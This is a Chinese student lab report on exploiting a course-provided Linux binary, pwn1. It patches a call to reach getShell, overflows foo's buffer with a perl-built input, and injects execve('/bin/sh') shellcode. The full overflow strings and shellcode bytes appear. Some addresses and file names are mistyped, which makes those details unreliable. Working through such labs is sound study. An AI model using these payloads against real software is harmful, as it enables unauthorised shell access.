20232820 2023-2024-2 《网络攻防实践》实践九报告
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
手工修改可执行文件
将kali虚拟机名称改为:20232820cyl
下载学习通中pwn1文件至kali中
先进入Desktop目录下,并输入指令objdump -d pwn1 |more,对pwn1文件进行反汇编操作
可以找到getShell、foo、main等函数
找到main函数和getshell函数(按Esc后输入/getShell进行搜索),可以看到在main函数中按照正常的运行顺序,执行到call处,EIP应该会指向0x08048ba + 0xffffffd7 = 0x08048491即foo函数的入口地址,所以我们需要修改该偏移量(0xffffffd7)使执行call后EIP指向0x080487d,即getShell函数入口,因此需要将0xffffffd7改为0xffffffc3(0x0804847d - 0x080484ba = 0xffffffc3)。
先输入指令 cp pwn1 pwn20232820cyl对pwn1文件进行保护,防止破坏。
用指令vim pwn20232820cyl打开后显示乱码
按Esc,并输入:%xxd,切换至16进制模式
按下Esc并输入指令:wq保存并退出。
并输入指令ls -l查看文件权限。
再次输入指令vim pwn20232820cyl,进入文件并进行修改。输入指令/e8 d7 找到要修改内容的位置,并将d7改为c3
按下Esc,并输入指令:%!xxd -r转换为原来格式。
按下Esc,并输入指令:wq!保存并退出。
输入指令 objdump -d pwn20232820cyl |more进行验证
发现修改成功
利用foo函数的Bof漏洞,构造一个攻击输入字符串
可以看到getShell起始函数地址为 804847d
在kali终端输入指令 sudo apt install gdb,已存在gdb
输入指令sudo chmod 775 pwn1提权
并调试pwn1程序
输入r,运行这个文件
输入一定长字符串输入一定长字符串:1234567812345678123456781234567812345678
程序输出该字符串,报错“Segmentation fault”,程序无法正常退出,产生溢出:
输入info r查看寄存器eip的值:
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。
继续输入r
并输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。
打开一个新终端并输入指令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input
然后输入命令xxd input:
输入指令(cat input; cat) | ./pwn1
最后输入ls进行测试,发现程序成功调用getShell函数
注入Shellcode并执行
下载并安装execstack
设置堆栈可执行
查询文件的堆栈是否可执行
查询是否关闭地址随机化
使用如下命令构建字符串并保存到input_shellcode中,其中前四字节还不确定,使用12 34h填充
然后在该终端运行(cat input_20222948;cat) | ./pwn1注入这段攻击buf
打开另一个终端输入指令ps -ef | grep pwn,pwn进程为93082
在新终端输入指令gdb后,用指令attach 93082启动gdb调试这个进程
输入指令disassemble foo进行反汇编并设置断点
输入指令b *0x080484ae设置断点,输入c继续运行
在正在运行的终端敲回车,使其继续执行
再返回调试终端,输入info r esp命令
输入x/16x 0xffb1154c命令查看其存放内容,看到了0x04030201 ,就是返回地址的位置。我们构造的input_shellcode可知,shellcode就在其后。
接下来只需要将之前的\x4\x3\x2\x1替换所以retaddr地址应为0xffb1154c + 0x00000004 = 0xffb1
1550。
输入命令perl -e ‘print “A” x 32;print “\x50\x15\xb1\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > input_shellcode
输入指令(cat input_shellcode;cat) | ./pwn1重新运行程序
这时我们发现我们已经成功地获得了Shell
3.学习中遇到的问题及解决
- 问题1:在kali中直接使用命令行下载execstack失败
- 问题1解决方案:通过询问同学,在网站下载后并安装
- 问题2:在修改可执行文件后再次查看时出现格式错误
- 问题2解决方案:重新进行实验,在修改后保存再退出
4.实践总结
通过本次实践学习了手工修改可执行文件,并进一步了解foo函数的Bof漏洞,提高了对缓冲区溢出和shellcode的理解。但我认识到自己还有很多不足,需要进一步学习,提高自己。
参考资料
- 逆向及Bof基础实践说明